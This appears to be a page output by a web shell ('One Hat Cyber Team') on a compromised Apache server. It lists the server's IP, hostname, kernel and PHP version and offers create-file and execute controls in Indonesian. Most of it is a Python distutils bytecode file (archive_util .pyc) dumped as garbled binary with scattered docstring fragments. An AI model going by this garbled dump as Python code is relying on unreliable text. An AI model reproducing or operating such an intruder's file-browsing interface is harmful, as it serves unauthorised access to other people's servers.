⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.67
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib64
/
python3.9
/
distutils
/
__pycache__
/
View File Name :
archive_util.cpython-39.pyc
a DOg|! @ s> d Z ddlZddlmZ ddlZzddlZW n eyB dZY n0 ddlmZ ddl m Z ddlmZ ddl mZ zddlmZ W n ey dZY n0 zdd lmZ W n ey dZY n0 d d Zdd Zd#ddZd$ddZedgdfedgdfedgdfedgdfedgdfeg dfdZdd Zd%d!d"ZdS )&zodistutils.archive_util Utility functions for creating archive files (tarballs, zip files, that sort of thing). N)warn)DistutilsExecError)spawn)mkpath)log)getpwnam)getgrnamc C sL t du s| du rdS zt | }W n ty6 d}Y n0 |durH|d S dS )z"Returns a gid, given a group name.N )r KeyErrornameresult r ./usr/lib64/python3.9/distutils/archive_util.py_get_gid s r c C sL t du s| du rdS zt | }W n ty6 d}Y n0 |durH|d S dS )z"Returns an uid, given a user name.Nr )r r r r r r _get_uid+ s r gzipc s6 dddddd}dddd d }|dur:|| vr:td| d } |dkrZ| ||d7 } ttj| |d ddl} t d t t fdd}|s| | d|| }z|j ||d W | n | 0 |dkr2tdt | || } tjdkr|| | g}n |d| g}t||d | S | S )a= Create a (possibly compressed) tar file from all the files under 'base_dir'. 'compress' must be "gzip" (the default), "bzip2", "xz", "compress", or None. ("compress" will be deprecated in Python 3.2) 'owner' and 'group' can be used to define an owner and a group for the archive that is being built. If not provided, the current owner and group will be used. The output tar file will be named 'base_dir' + ".tar", possibly plus the appropriate compression extension (".gz", ".bz2", ".xz" or ".Z"). Returns the output filename. gzbz2xz )r bzip2r Ncompressz.gzz.bz2z.xzz.Z)r r r r NzKbad value for 'compress': must be None, 'gzip', 'bzip2', 'xz' or 'compress'z.tarr dry_runr zCreating tar archivec s, d ur | _ | _d ur(| _| _| S )N)gidgnameuiduname)tarinfor groupownerr r r _set_uid_gida s z"make_tarball.
._set_uid_gidzw|%s)filterz'compress' will be deprecated.win32z-f)keys ValueErrorgetr ospathdirnametarfiler infor r openaddcloser PendingDeprecationWarningsysplatformr ) base_namebase_dirr verboser r" r! tar_compressioncompress_extarchive_namer, r# tarZcompressed_namecmdr r r make_tarball7 sB r<